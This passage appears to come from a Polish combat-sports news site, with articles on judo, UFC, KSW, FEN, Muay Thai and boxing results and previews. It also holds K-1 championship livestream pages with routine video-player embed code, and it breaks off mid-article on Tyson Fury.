Na podium stanął również Iwo Baraniewski (100kg). 18-latek miał szczęście do zawodników gospodarzy. Na otwarcie pokonał Alexandre Teodosio, a w rywalizacji o trzecie miejsce był lepszy od Diogo Britesa. W półfinale na drodze Polaka stanął Mathias Madsen z Danii.

O krok od medalu była Barbara Kulik (63kg), która ostatecznie zajęła 5. pozycję. Siódmy był Maciej Krogulski (73kg). W Coimbrze startował również Szymon Jasiński (66kg). 

KM

Czwarta porażka Omielańczuka, gorąco w Londynie

Daniel Omielańczuk poniósł czwartą porażkę podczas swojej przygody w UFC. Podczas gali w Londynie przegrał z Timothym Johnsonem. W walce wieczoru Jimi Manuwa odprawił Coreya Andersona.

Gala UFC Fight Night 107 przyciągnęła do londyńskiej O2 Arena ponad 15 tysięcy widzów. W karcie głównej nie brakowało efektownych rozstrzygnięć.

Nie pomścił Tybury

Po raz ósmy na gali UFC zaprezentował się Daniel Omielańczuk. Polski ciężki niejednokrotnie pokazał, że potrafi efektownie walczyć i wygrał trzy kolejne pojedynku, jednak w październiku jego zwycięski marsz powstrzymał Stefan Struve. W Londynie los skojarzył Omielańczuka z Timothym Johnsonem. Polak chciał wygrać i wrócić na zwycięską drogą, a zarazem pomścić Marcina Tyburę. W kwietniu ubiegłego roku popularny „Tybur” przegrał z Amerykaninem.

Omielańczuk dobrze rozpoczął starcie. Imponował aktywnością, kilka razy mocno trafił rywala, jednak ten spychał walkę pod siatkę. W drugiej rundzie Johnson ruszył do ataku. Polski ciężki dzielnie walczył, w klinczu nie brakowało łokci i kolan. W końcu Johnson sprowadził walkę do parteru. Ostatnia odsłona to przede wszystkim zmagania w klinczu. Amerykanin dążył do parteru i spychał Polaka do defensywny. Sędziowie byli podzieleni. Niejednogłośną decyzją (29-28, 27-30, 28-29) wygrał Johnson, dla którego był to jedenasty triumf w karierze.

Polak zanotował drugą porażkę z rzędu, więc musi się mieć na baczności. Dotychczas w UFC odniósł pięć zwycięstw, przegrał cztery pojedynki.

Nokauty ozdobą gali

W karcie wstępnej sześć z siedmiu pojedynków kończyło się decyzją sędziów. Jednak ten jeden był wyjątkowo widowiskowy. Marc Diakiese potrzebował zaledwie trzydziestu sekund, aby pokonał Teemu Packalena. 24-latek z Doncaster trafił prawym Fina, który padł jak rażony piorunem. Efektowne zwycięstwa i efektowny wygląd. Anglik miał na głowie czerwony pasek, pełen radości po zwycięstwie zaczął ekwilibrystyczny taniec. Diakiese wygrał dwunastą walkę w karierze.

Marlon Vera odniósł drugie zwycięstwo z rzędu. W trzeciej rundzie odprawił Brada Picketta, który pożegnał się z MMA. Efektowne zwycięstwo Gunnara Nelsona. Islandczyk trafiał Alana Joubana ciosami i kopnięciami, a w parterze zapiął gilotynę i zmusił rywala do poddania. 

Jimi Manuwa zgłosił akces do walki o pas w wadze półciężkiej. 37-letni Amerykanin delikatnie stąpał, obserwował i w końcu posłał w stronę Coreya Andersona potężny lewy sierpowy. Rywal znalazł się na deskach. Walka wieczoru trwałą nieco ponad trzy minuty.

KM

Coraz mniej czasu, są powołania

Nie da się ukryć, że czas pędzi jak szalony. W zeszłym roku wielką radość sprawiła nam informacja o przyznaniu Polsce roli organizatora mistrzostw Europy w judo. Obecnie wchodzimy w fazę odliczania. Impreza odbędzie się w dniach 20-23 kwietnia.

Wraz z upływem czasu jest coraz mniej niewiadomych. Znamy już nazwiska zawodników zatwierdzonych przez zarząd Polskiego Związku Judo do udziału w mistrzostwa Europy.

Powalczą o medale

Czempionat Starego Kontynentu ponownie zawita do Polski. W 1994 roku judocy walczyli o medale w Gdańsku, a sześć lat później we Wrocławiu. Zdecydowanie lepiej biało-czerwoni wspominają start w stolicy Dolnego Śląska, gdzie wywalczyli sześć medali, w tym dwa złote. Z kolei w Gdańsku tylko Robert Krawczyk stanął na podium, wywalczył brąz.

Rok temu mistrzostwa Europy odbyły się w Kazaniu. Tam objawił się talent Piotra Kuczery (90kg), który wywalczył brąz indywidualnie i był podporą reprezentacji Polski. Nasza męska kadra stanęła na najniższym stopniu podium. Z kolei Polki triumfowały w rywalizacji drużynowej i panują w Europie. W Warszawie postarają się obronić tytuł. Atut własnego terenu może sprzyjać Polakom, a z drugiej strony może być przekleństwem. Głęboko wierzymy, że gorący doping poniesie biało-czerwonych, którzy będą odgrywali pierwszoplanową rolę podczas kwietniowej imprezy.

Kogo zobaczymy na tatami w stołecznej hali Torwar? Polski Związek Judo podał listę zawodniczek i zawodników, którzy wystartują w mistrzostwach. W reprezentacji kobiet znalazły się: Ewa Konieczny (48kg), Karolina Pieńkowska i Agata Perenc (52kg), Anna Borowska i Julia Kowalczyk (57kg), Karolina Tałach i Agata Ozdoba (63kg), Katarzyna Kłys (70kg), Beata Pacut (78kg). Na liście rezerwowej są Anna Załęczna (+78kg) oraz Sandra Lickun (70kg). W męskiej kadrze znaleźli się: Aleksander Beta i Patryk Wawrzyczek (66kg), Damian Szwarnowiecki i Jakub Kubieniec (81kg), Piotr Kuczera i Patryk Ciechomski (90kg), Jakub Wójcik (100kg), Maciej Sarnacki i Kamil Grabowski (+100kg). Na liście rezerwowej są Michał Bartusik (66kg) oraz Tomasz Szczepaniak (90kg).

Warto nadmienić, że z powodu kontuzji z Warszawie nie wystartuje Arleta Podolak (57kg).

Gwiazdy w stolicy

Rywalizacja o medale wystartuje 20 kwietnia. – Najlepsi zawodnicy z całej Europy odwiedzą Warszawę. To tu odbędą się Mistrzostwa Europy seniorów w judo! Pierwsi zawodnicy już zostali zgłoszeni – zapowiadają organizatorzy.

Do Warszawy przyjadą m.in. drudzy zawodnicy światowych list Ivaylo Ivanov (81kg) czy Axel Clerget (90kg). Akces do rywalizacji zgłosił także mocny Cyriile Maret (100kg). Wśród pań główną rolę powinny odgrywać Francuzki. Na Torwarze zobaczymy m.in. mistrzynię olimpijską Emilie Andeol (+78kg) czy wicemistrzynię z Rio Clarisse Agbegnenou (78kg).

KM

Posiadała Mistrzynią Świata Muay Thai!

Katarzyna Posiadała odniosła ogromny sukces. Polka zdobyła tytuł Mistrzyni Świata w Muay Thai.

Sięgnęła gwiazd, zrobiła coś wspaniałego, weszła na sam szczyt i teraz może świętować. Tytuł mistrzowski to spełnienie marzeń, ale także motywacja do dalszej pracy. Czasami łatwiej wejść na szczyt niż się na nim utrzymać. Mistrzyni świata WMF pokazuje, że jednak można.

Złoty blask

Katarzyna Posiadała dała się poznać jako zawodniczka, która w pełni profesjonalnie podchodzi do każdej walki. W lutym w Holandii odbył się obóz treningowy Ladies Fight Night, podczas którego zawodniczki instruował Gilbert Yvel. Z powodu choroby Kasia nie poleciała do Amsterdamu. Mogła żałować, ale życie toczy się dalej, a wyzwań nie brakuje. Kolejnego ważnego wydarzenia już nie przegapiła. Wsiadła w samolot i udała się do Tajlandii, czyli miejsca, gdzie muay thai jest religią i drogą doskonalenia się.

Zawodniczka Gladiatora Siedlce udała się do Bangkoku wraz z trenerem Andrzejem Wasilewskim. Posiadała startowała w kategorii 63,5kg w formule PRO AM. Wszystko układało się po myśli naszej zawodniczki, która dotarła do finału. Posiadała trafiła na niewygodną rywalkę z Ukrainy, która dwa wcześniejsze pojedynki wygrała przez nokaut. Obie fighterki dały z siebie wszystko, nie oszczędzały się, momentami brakowało im powietrza. W drugiej odsłonie Polka zaczęła dominować. Trafiła rywalkę kolanem i ta była liczona. Ostatecznie Posiadała mogła wznieść ręce w geście triumfu i cieszyć się z tytułu. Warto podkreślić, że po mistrzostwo wywalczyła już po raz trzeci.

Można powiedzieć, że zawodniczka znana z występów na galach organizacji Ladies Fight Night poszła za ciosem. W sierpniu ubiegłego roku sięgnęła po tytuł mistrzyni Europy. Zdominowała imprezę w Bukareszcie, a w finale uporała się z zawodniczką gospodarzy i rozstrzygnęła starcie przed czasem.

Kolejny sukces do kolekcji

Z każdą kolejną walką fighterka zbliża się do perfekcji. Wiadomo, że nadal stoi przed nią wiele wyzwań, ale już teraz może pochwalić się bogatą kolekcją tytułów. Katarzyna Posiadała ma na swoim koncie dwa tytuły mistrzyni Polski w oriental rules, a w 2016 roku triumfowała w K-1. Jak wspomnieliśmy, trzykrotnie okazała się najlepszą zawodniczką globu WMF.

Zawodniczka pochodząca z Siedlec dla Federacji Ladies Fight Night stoczyła już cztery pojedynki, wszystkie wygrane. Podczas grudniowej gali w Karpaczu wygrała na punkty z Lucią Mudrochovą.

KM

UFC odwiedzi Gdańsk Ergo Arena

Największa organizacja MMA na świecie po raz kolejny w Polsce. 21 października w gdańskiej Ergo Arenie odbędzie się gala UFC.

Najlepsi zawodnicy, najlepsze walki, ogromne pieniądze i wspaniałe wrażenia – tak w skrócie wygląda ten świat. UFC to miejsce, w którym spełniają się marzenia. Jak to się mówi, taki trochę „amerykański sen”.

Polska gala

21 października szykuje się wielkie święto MMA. Już można zacierać ręce i szykować się na niezapomniane wrażenia. Nie da się ukryć, że 2017 rok może być niezwykle ciekawy, jeśli chodzi o MMA. 27 maja na Stadionie Narodowym odbędzie się gala KSW. Ponad 60 tys. ludzi zobaczy kilka fantastycznych walk. Można dyskutować, czy to będzie wstęp do gali UFC czy konkurencja? Nie da się ukryć, że KSW wyprowadza coraz mocniejsze ciosy, ale to temat na osobny tekst.

Kibice będą się zastanawiać się, kto zaprezentuje się na gdańskiej gali. Coraz więcej Polaków ma mocną pozycję w UFC. Marzeniem kibiców byłoby zobaczyć na własnej ziemi mistrzynię wagi słomkowej Joannę Jędrzejczyk. Udział coraz pewniej poczynającego sobie w wadze średniej Krzysztofa Jotki również byłby mocnym akcentem październikowej gali. A pozostają jeszcze mocni Karolina Kowalkiewicz i Daniel Omielańczuk. Dobre występy w UFC mają za sobą Bartosz Fabiński oraz Damian Stasiak, a po walce z Gustafssonem kontrakt z amerykańską organizacją przedłużył Jan Błachowicz. Nie da się ukryć, że wybór jest spory.

A UFC chce rozwijać się na rynku europejskich. Coraz więcej gal odbywa się poza Stanami Zjednoczonymi. Najbliższa już 18 marca w Londynie. W walce wieczoru Jimi Manuwa zmierzy się z Coreyem Andersonem. Co ciekawe, obaj mają na rozkładzie Jana Błachowicza. W Londynie swoją ósmą walkę w UFC stoczy Daniel Omielańczuk, który zmierzy się z Timothym Johnsonem.

Kto był w Krakowie?

Wróćmy pamięcią do pierwszej gali UFC w Polsce, która odbyła się 11 kwietnia 2015 roku w Kraków Arenie. W karcie walk znalazło się siedmioro naszych zawodników. Jednak tylko dla dwóch występ w Krakowie zakończył się szczęśliwie. Bartosz Fabiński zastąpił na gali UFC Fight Night 64 Krzysztofa Jotkę i udźwignął ciężar rywalizacji pokonując jednogłośną decyzją Garretha McLellana. W Krakowie triumfował również Paweł Pawlak. Zawodnik urodzony w Łodzi wygrał z Sheldonem Westcottem.

Porażki ponieśli: Marcin Bandel, Izabela Badurek, Damian Stasiak, Daniel Omielańczuk oraz Jan Błachowicz. W walce wieczoru doświadczony i utytułowany Mirko Filipović w trzeciej rundzie pokonał Gabriela Gonzagę.

KM

FEN 16 Warsaw Reloaded: bonusy przyznane!

Organizacja Fight Exclusive Night przyznała bonusy za za poddanie wieczoru, nokaut wieczoru i walkę wieczoru sobotniej gali FEN 16 Warsaw Reloaded na stołecznym Torwarze. Nagrody finansowe otrzymało czterech zawodników.

Poddanie wieczoru: Karol Zyra

Sportem bazowym Karola Zyry, złotego medalisty mistrzostw Polski służb mundurowych i brązowego medalisty mistrzostw Wojska Polskiego w MMA, jest kick-boxing, więc jego atutem jest przede wszystkim walka w stójce. Ale podczas gali FEN 16 Warsaw Reloaded pokazał, że i w parterze radzi sobie świetnie. Już na początku pierwszej rundy walki z Adrianem Kurkiem był bliski uduszenia swojego bardziej doświadczonego rywala, ale ten zdołał się obronić. Fighter Championa Ostrołęka podobną akcję – tym razem skuteczną –  wykonał w drugiej rundzie. Wykorzystał błąd Kurka, który padł na matę, zajął pozycję za jego plecami i poddał duszeniem, odnosząc czwarte zwycięstwo w czwartej zawodowej walce.

Nokaut wieczoru: Marcin Szreder

Marcin Szreder przed walką zapowiadał, że nie nastawia się na urwanie głowy przeciwnikowi i chce razem z nim dać dobrą, efektowną walkę, która spodoba się kibicom. Tego dnia Ihar Kamkou nie miał jednak szans z kipiącym energią zawodnikiem Palestry Warszawa. Już po minucie walki Polak potężnym prawym sierpowym trafił Białorusina, powalając go na deski. Sędzia jeszcze wznowił walkę, ale 20 sekund później Kamkou po serii wściekłych ciosów i kopnięć Szredera zaliczył kolejny knock-down i jego narożnik rzucił ręcznik.

Walka wieczoru: Kamil Łebkowski vs Gabriel Silva

Najpoważniejszymi konkurentami main eventu gali FEN 16 były znakomite pojedynki Artura Bizewskiego z Arkadiuszem Wrzoskiem i Radosława Paczuskiego z Georgem Daviesem, ale to jednak starcie „Bomby” z „Gabito” rozpaliło do białości publiczność na Torwarze. Toczony w kapitalnym tempie pojedynek obfitował w liczne zwroty akcji, a obaj zawodnicy z ogromną determinacją dążyli do odniesienia zwycięstwa, szukając swojej szansy na skończenie rywala przed czasem. Ostatecznie siódmą wygraną z rzędu zapisał na swoim koncie Brazylijczyk, ale za stworzenie razem z nim wspaniałego spektaklu zasłużony bonus otrzymuje także Polak.

FEN

Zmarł były mistrz Europy w boksie

W wieku 64 lat odszedł znakomity bokser Andrzej Biegalski. Na swoim koncie zapisał tytuł mistrza Europy w wadze ciężkiej, który wywalczył w 1975 roku w Katowicach. 

Zawsze zadajemy sobie to samo pytanie: dlaczego i czy nie za wcześnie? Trudno na nie odpowiedzieć, jednak trzeba się pogodzić z odejściem bliskiego człowieka, idola, autorytetu i pamiętać o tym, czego nas uczył i co po sobie pozostawił.

Wielki bokser

Andrzej Bieglaski odszedł w wieku 64 lat. Jego największym osiągnięciem było złoto mistrzostw Europy, które zdobył w 1975 roku. Ogromnych emocji dostarczyło półfinałowe starcie Polaka z reprezentantem Republiki Federalnej Niemiec Peterem Hussingiem. Rywal Biegalskiego miał na swoim koncie brąz igrzysk w Monachium i trzy medale mistrzostw Europy. Uchodził za faworyta, jednak ambitny Polak w pierwszej rundzie zaserwował Niemcowi prawy sierp i posłał go na deski. W finale wygrał na punkty z Wiktorem Uljaniczem, który bronił tytułu. Biegalski zdobył złoto i pozostaje jedynym polskim mistrzem Europy w wadze ciężkiej.

Wydawało się, że wywalczenie tytułu będzie wstępem do wielkiej kariery, jednak losy boksera układały się różnie. W 1976 roku zaprezentował się w Montrealu, jednak start w igrzyskach olimpijskich zakończył na etapie eliminacji. Bez powodzenia startował również w mistrzostwach Europy w Kolonii. Jednak zapisał się na trwałe w historii polskiego boksu. Warto wspomnieć, że Biegalski był również trzykrotnie mistrzem Polski (dwa razy w ciężkiej i raz w superciężkiej).

Karierę zakończył w wieku zaledwie 30 lat. Na amatorskich ringach wystąpił ponad 230 razy, wygrał 201 walk.

Sportowa droga

Sport był obecny w życiu Biegalskiego. Podczas nauki w Zasadniczej Szkole Górniczej Kopalni Marcel rozpoczął treningi judo. Wywalczył nawet mistrzostwo Śląska juniorów. Z racji warunków fizycznych trenerzy widzieli w nim potencjał na kulomiota. Biegalski trenował pchnięcie kulą, a także rzut dyskiem.

Talent bokserski odkrył w nim Marian Mrula z Górnika Radlin. Biegalski łączył treningi pięściarskie oraz judo. W końcu wybrał boks i okazał się to strzał w dziesiątkę. Pierwszy znaczący sukces odniósł w 1974 roku, kiedy to sięgnął po tytuł mistrza Polski.

Na zawsze pozostanie w naszej pamięci jako wielki mistrz Europy. Nadal jedyny w wadze ciężkiej. 

KM

Szwajcarski triumf Kłys, dobry występ młodych

Szybko, łatwo i przyjemnie – tak można określić drogę Katarzyny Kłys (70kg) do zwycięstwa w Pucharze Europy w judo, który odbył się w Zurychu. Mistrzyni Europy w drużynie do stanięcia na najwyższym stopniu podium wystarczyły dwie walki. Z kolei w Zagrzebiu nasze kadetki zdobyły dwa medale.

Warto nadmienić, że to ostatnie starty Katarzyny Kłys na międzynarodowym poziomie. Po mistrzostwach Europy, które odbędą się w Warszawie 30-letnia judoczka zapowiedziała zakończenie kariery.

Udany początek

Brązowa medalistka mistrzostw Europy 2014 roku z Czelabińska udanie rozpoczęła tegoroczne zmagania. Kłys pojechała do Zurychu, gdzie zjawiło się 226 zawodników, ale tylko 60 kobiet. W kategorii Polki rywalizowało zaledwie sześć judoczek. 

Pierwszą rywalką 25. zawodniczki światowego rankingu była Holenderka Yvonne Odnik. Agresywny i wyrównany pojedynek zakończył się po myśli Polki, która zapisała na swoim koncie waza-ari. W finale Kłys zdominowała Alinę Lengweiler. Uczestniczka igrzysk olimpijskich w Rio de Janeiro dwa razy wywalczyła waza-ari.

W ubiegłym roku Kłys czterokrotnie stawała na podium międzynarodowych imprez. Wygrała zawody w Warszawie i Sarajewie, w Grand Prix Zagrzebia była druga, a na najniższym stopniu podium stanęła w Ałmatach. Tegoroczne starty rozpoczęła mocnym akcentem, choć nie miała de facto z kim przegrać. Głównym celem dla naszej zawodniczki pozostają mistrzostwa Europy, które w dniach 20-23 kwietnia odbędą się w Warszawie.

Brąz Kowalczyk

Jak informowaliśmy w piątek (10 marca), trzy nasze zawodniczki wzięły udział w turnieju Grand Slam w Baku. Najlepiej zaprezentowała się Julia Kowalczyk (57kg), która była trzecia. 19-letnia judoczka Polonii Rybnik wygrała trzy walki. Z kolei Karolina Pieńkowska (52kg) wywalczyła siódmą lokatę. Agata Perenc (52kg) odpadła w eliminacjach.

Dwa medale w Zagrzebiu

W Zagrzebiu rywalizowali kadeci. Na tatami zaprezentowało się blisko 800 judoków, w tym 35 reprezentantów Polski. Biało-czerwoni zdobyli dwa medale.

Na najwyższy poziom wspięła się Marta Kuras. 17-latka z każdą walką wyglądała coraz pewniej. Na początek stoczyła wyrównany bój z Cecilią Pedullą, ale wygrała jednym waza-ari. Gorąco było w drugiej walce. Andrea Stojadinov miała już dwa waza-ari, ale ippon Kuras załatwił sprawę. Dwie kolejne walki Polka wygrała przed czasem. W półfinale wyeliminowała Lunę Gretę Ancorę, a w decydującym starciu szybko uporała się z Naomi van Krevel.

Kolejny dobry występ w tym roku zanotowała Nikola Szlachta. W lutym wygrała zawody we Włoszech, a w Chorwacji uplasowała się na trzecim miejscu. 15-latka zaczęła od porażki, a następnie wygrała cztery walki.

KM

LIVE: Mistrzostwa Polski K-1 Legnica 2017 Day 2 Ring 2

Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Polski K-1, które odbywają się 11-12 marca 2017 r. w Legnicy.

11 marca 2017r. (sobota)
godz. 8.30 – 9.00 – uroczyste otwarcie
godz.9.00 – 14.00 – walki eliminacyjne
godz. 14.00 – 15.00 – przerwa
od 15.00 – ciąg dalszy walk eliminacyjnych oraz walki półfinałowe

12 marca 2017r. (niedziela)

godz. 07 00 – 8 00 waga zawodników
godz. 09.00 -17.00 walki półfinałowe oraz walki finałowe
godz. 17.00 – 18.00 przerwa
godz. 18.00 – 19.30 walki finałowe w formie Gali
godz. 19.30 walka wieczoru zawodowy tytuł mistrza Polski na Low Kick

[kod]

RING 2

Mistrzostwa Polski K-1 Legnica 2017

Mistrzostwa Polski K-1 Legnica 2017

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/MPK1Legnica20172.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/MPK1Legnica20172.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/MPK1Legnica20172.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/MPK1Legnica20172.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: Mistrzostwa Polski K-1 Legnica 2017 Gala finałowa

Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Polski K-1, które odbywają się 11-12 marca 2017 r. w Legnicy.

11 marca 2017r. (sobota)
godz. 8.30 – 9.00 – uroczyste otwarcie
godz.9.00 – 14.00 – walki eliminacyjne
godz. 14.00 – 15.00 – przerwa
od 15.00 – ciąg dalszy walk eliminacyjnych oraz walki półfinałowe

12 marca 2017r. (niedziela)

godz. 07 00 – 8 00 waga zawodników
godz. 09.00 -17.00 walki półfinałowe oraz walki finałowe
godz. 17.00 – 18.00 przerwa
godz. 18.00 – 19.30 walki finałowe w formie Gali
godz. 19.30 walka wieczoru zawodowy tytuł mistrza Polski na Low Kick

[kod]

RING 1

Mistrzostwa Polski K-1 Legnica 2017

Mistrzostwa Polski K-1 Legnica 2017

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/MPK1Legnica20171.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/MPK1Legnica20171.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/MPK1Legnica20171.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/MPK1Legnica20171.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: Mistrzostwa Polski K-1 Legnica 2017 Day 1 Ring 2

Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Polski K-1, które odbywają się 11-12 marca 2017 r. w Legnicy.

11 marca 2017r. (sobota)
godz. 8.30 – 9.00 – uroczyste otwarcie
godz.9.00 – 14.00 – walki eliminacyjne
godz. 14.00 – 15.00 – przerwa
od 15.00 – ciąg dalszy walk eliminacyjnych oraz walki półfinałowe

12 marca 2017r. (niedziela)

godz. 07 00 – 8 00 waga zawodników
godz. 09.00 -17.00 walki półfinałowe oraz walki finałowe
godz. 17.00 – 18.00 przerwa
godz. 18.00 – 19.30 walki finałowe w formie Gali
godz. 19.30 walka wieczoru zawodowy tytuł mistrza Polski na Low Kick

[kod]

RING 2

Mistrzostwa Polski K-1 Legnica 2017

Mistrzostwa Polski K-1 Legnica 2017

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/MPK1Legnica20172.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/MPK1Legnica20172.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/MPK1Legnica20172.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/MPK1Legnica20172.livx"
},
width: 640,
height: 385,
autoplay: false,
});

KSW odwiedzi studio

Dużo uwagi poświęca się majowej gali KSW 39 Colosseum, która odbędzie się na stadionie PGE Narodowy. Jednak warto pamiętać, że poprzedzi ją inne wydarzenie. 7 kwietnia w warszawskim studiu telewizyjnym odbędzie się gala KSW 38: Live in Studio.

Polska organizacja wprowadza kolejną innowację. Jedna z gal KSW odbyła się w Londynie, kolejna została zaplanowana na ogromnym stadionie PGE Narodowym, a ta najbliższa, która odbędzie się 7 kwietnia będzie nastawiona na widzów przed telewizorami. Z bliska walki obserwować będzie niewielka liczba kibiców.

„Kornik” w walce wieczoru

W Warszawie zaprezentuje się Artur Sowiński, który na poprzedniej gali KSW w Krakowie stracił pas mistrzowski w wadze piórkowej na rzecz Marcina Wrzoska. Między zawodnikami od dawna wrzało. W końcu spotkali się i stworzyli wyjątkowy spektakl. Decyzją lekarza walkę przerwano w drugiej rundzie ze względu na opuchliznę na oku „Kornika”, choć ten twierdził, że jest w stanie dalej rywalizować. W Warszawie 30-letni fighter spotka się z Łukaszem Chlewickim. Popularny „Sasza” również nie najlepiej wspomina występ w Krakowie. W pierwszej rundzie przegrał z Mansourem Barnaouim. Niemalże perfekcyjny cios łokciem w wykonaniu Francuza rozciął łuk brwiowy Chlewickiego, pojedynek przerwano. „Kornik” i „Sasza” mają coś do udowodnienia. Ich bogate doświadczenie może przełożyć się na niezwykle widowiskową walkę.

W Warszawie odbędzie się również pierwsza walka w wadze koguciej. Zmierzą się w niej Anzor Azhiev i Kamil Selwa. 26-latek reprezentujący WCA Fight Team wraca po półtorarocznej przerwie. Azhiev musiał poświęcić czas na leczenie urazów. W ostatnim występie (KSW 33) pokonał przez poddanie w trzeciej rundzie Vaso Bakocevicia. Jego rywalem podczas warszawskiej gali będzie obiecujący Kamil Selwa. 22-latek stoczył 15 walk, z których 10 wygrał. Może się pochwalić passą czterech zwycięstw z rzędu.

Drugą walkę w KSW stoczy 23-letni Roman Szymański. W debiucie fighter z Poznania przed czasem uporał się z Sebastianem Romanowskim. Rywalem Szymańskiego będzie Denilson Neves de Oliveira. Dla Brazylijczyka będzie to druga szansa od włodarzy KSW, w debiucie przegrał z Filipem Wolańskim. Wcześniej wygrał z Marianem Ziółkowskim na PLMMA 70.

Niepokonani

Podczas KSW 38 w wadze lekkiej zadebiutuje Kamil Szymuszowski. 27-latek dotychczas występował w kategorii półśredniej. Dotychczas stoczył trzy pojedynki dla KSW i wszystkie wygrał. Warto podkreślić, że „Szymek” ma znakomitą passę – triumfował w ośmiu kolejnych starciach. W Warszawie zmierzy się z Marifem Piraevem, który w Londynie przegrał z Matuszem Gamrotem. Dla Rosjanina była to pierwsza porażka, wygrał 13 walk.

30-letni Grzegorz Szulakowski wygrał dwie walki w KSW. Teraz przyjdzie mu się zmierzyć z Renato Gomesem Gabrielem, który debiutował pojedynkiem z Mateuszem Gamrotem i przegrał przed czasem.

W pozostałych pojedynkach zmierzą się: Łukasz Rajewski i Sebastian Romanowski oraz Maciej Kazieczko i Tomasz Matusewicz. Na nazwisko rywala czeka Łukasz Bieńkowski.

Fot. konfrontacja.com

KM

Debiut okraszony medalem

Julia Kowalczyk (57kg) stanęła na trzecim stopniu podium w zawodach Grand Slam w judo, które odbywają się w Baku. To pierwszy występ Polki na tym poziomie. Siódma była Karolina Pieńkowska (52kg).

Do Baku zjechało blisko 200 zawodników. Rywalizacja potrwa do niedzieli, jednak możemy już dokonać podsumowania występu Polek. Wszystkie trzy zaprezentowały się pierwszego dnia imprezy.

Pierwsze podium

Radość, radość i jeszcze raz radość – Julia Kowalczyk może być zadowolona ze swojego startu w Baku. W ubiegłym roku występowała w rywalizacji juniorskiej i kilka razy zaprezentowała się na poziomie seniorskim, jednak bez efektu. Ale zebrane doświadczenia okazały się cenną nauką dla 19-letniej judoczki Polonii Rybnik. W tym roku Kowalczyk wystartowała w zmaganiach w Sofii i Dusseldorfie. Zaczynała od zwycięstwa, ale w drugich rundach trafiała na mocniejsze rywalki odpowiednio Francuzkę Sarah Harachi i Japonkę Nae Udakę.

W przypadku Kowalczyk znalazło zastosowanie powiedzenie „do trzech razy sztuka”. Młoda Polka rywalizację w Baku zaczęła od mocnego akcentu. Całkowicie zdominowała zawodniczkę gospodarzy Shahanę Almamadovą i zakończyła rywalizację przed czasem. Trudne warunki Kowalczyk postawiła Timna Nelson Levy, ale judoczka Polonii Rybnik triumfowała przez waza-ari. W półfinale Polkę zatrzymała Jovana Rogić. Kowalczyk pozostała walka o trzecie miejsce, w której pokonała przez ippon Brazylijkę Gilmarę Prudencio.

W Baku zaprezentowały się również Karolina Pieńkowska i Agata Perenc (obie 52kg). Młodzieżowej mistrzyni Europy z 2015 roku dopisało szczęście. Pieńkowska dostała wolny los i rywalizację rozpoczęła od drugiej rundy. Polka stanęła przed trudnym zadaniem, bo przyszło jej rywalizować z siódmą judoczką igrzysk w Rio de Janeiro. Pieńkowska przegrała przez ippon i trafiła do repasaży. Po raz kolejny stanęła naprzeciw mocnej rywalki. Tym razem była to mistrzyni Europy Charline van Snick, która szybko wygrała przez ippon. Mimo dwóch porażek, Pieńkowską sklasyfikowano na siódmej pozycji. Z kolei Agata Perenc odpadła w eliminacjach. Jej pogromczynią była Gultaj Mammadaliyeva.

Kolejny triumf

Początek roku jest niezwykle udany dla 24-letniego Tala Flickera (66kg). Reprezentant Izraela wygrał zmagania w Odivelas, następnie był siódmy w Paryżu, a w Dusseldorfie stanął na trzecim stopniu podium. W Baku pokonał czterech rywali i sięgnął po złoto.

Piąta zawodniczka igrzysk olimpijskich w Londynie Chen-ling Lien (57kg), która w Brazylii pokonała Arletę Podolak, triumfowała w Baku. Z kolei utalentowana Alexandra-Larisa Florian wygrała zmagania w kategorii 52kg. To kolejny tegoroczny sukces Rumunki. Dwa tygodnie temu 21-latka była trzecia w Dusseldorfie.

KM

Blisko 160kg i światełko w tunelu

Kariera Tysona Fury'ego znalazła się na zakręcie. 28-latek popadł w uzależnienie od narkotyków i zmagał się z depresją. Twierdzi, że wychodzi na prostą i zamierza wrócić na ring.

Tyson Fury to bokser niemalże kompletny, który za cel postawił sobie zdominowanie wagi ciężkiej. Wszedł na szczyt, ale nie wytrzymał presji i nie uniósł ciężaru sukcesu. To niezwykle pouczająca historia. Czy Fury wróci na ring i ustabilizuje formę?

Zdobył pasy, ale ich nie bronił

Bokser urodzony w Manchesterze pokonywał kolejnych rywali i nie ukrywał swoich ambicji. Od zawsze potrafił zwrócić na siebie uwagę poprzez kontrowersyjne i często butne wypowiedzi. Na rozkładzie zapisał m.in. Vinny'ego Maddalaone, Kevina Johnsona, Steve'a Cunninghana czy Derecka Chisorę. Zdobył międzynarodowy pas WBO, ale mierzył zdecydowanie wyżej. W końcu nadszedł ten wyjątkowy dzień. 25 listopada 2015 roku wszedł do ringu z dominującym przez lata w wadze ciężkiej Władimirem Kliczko.

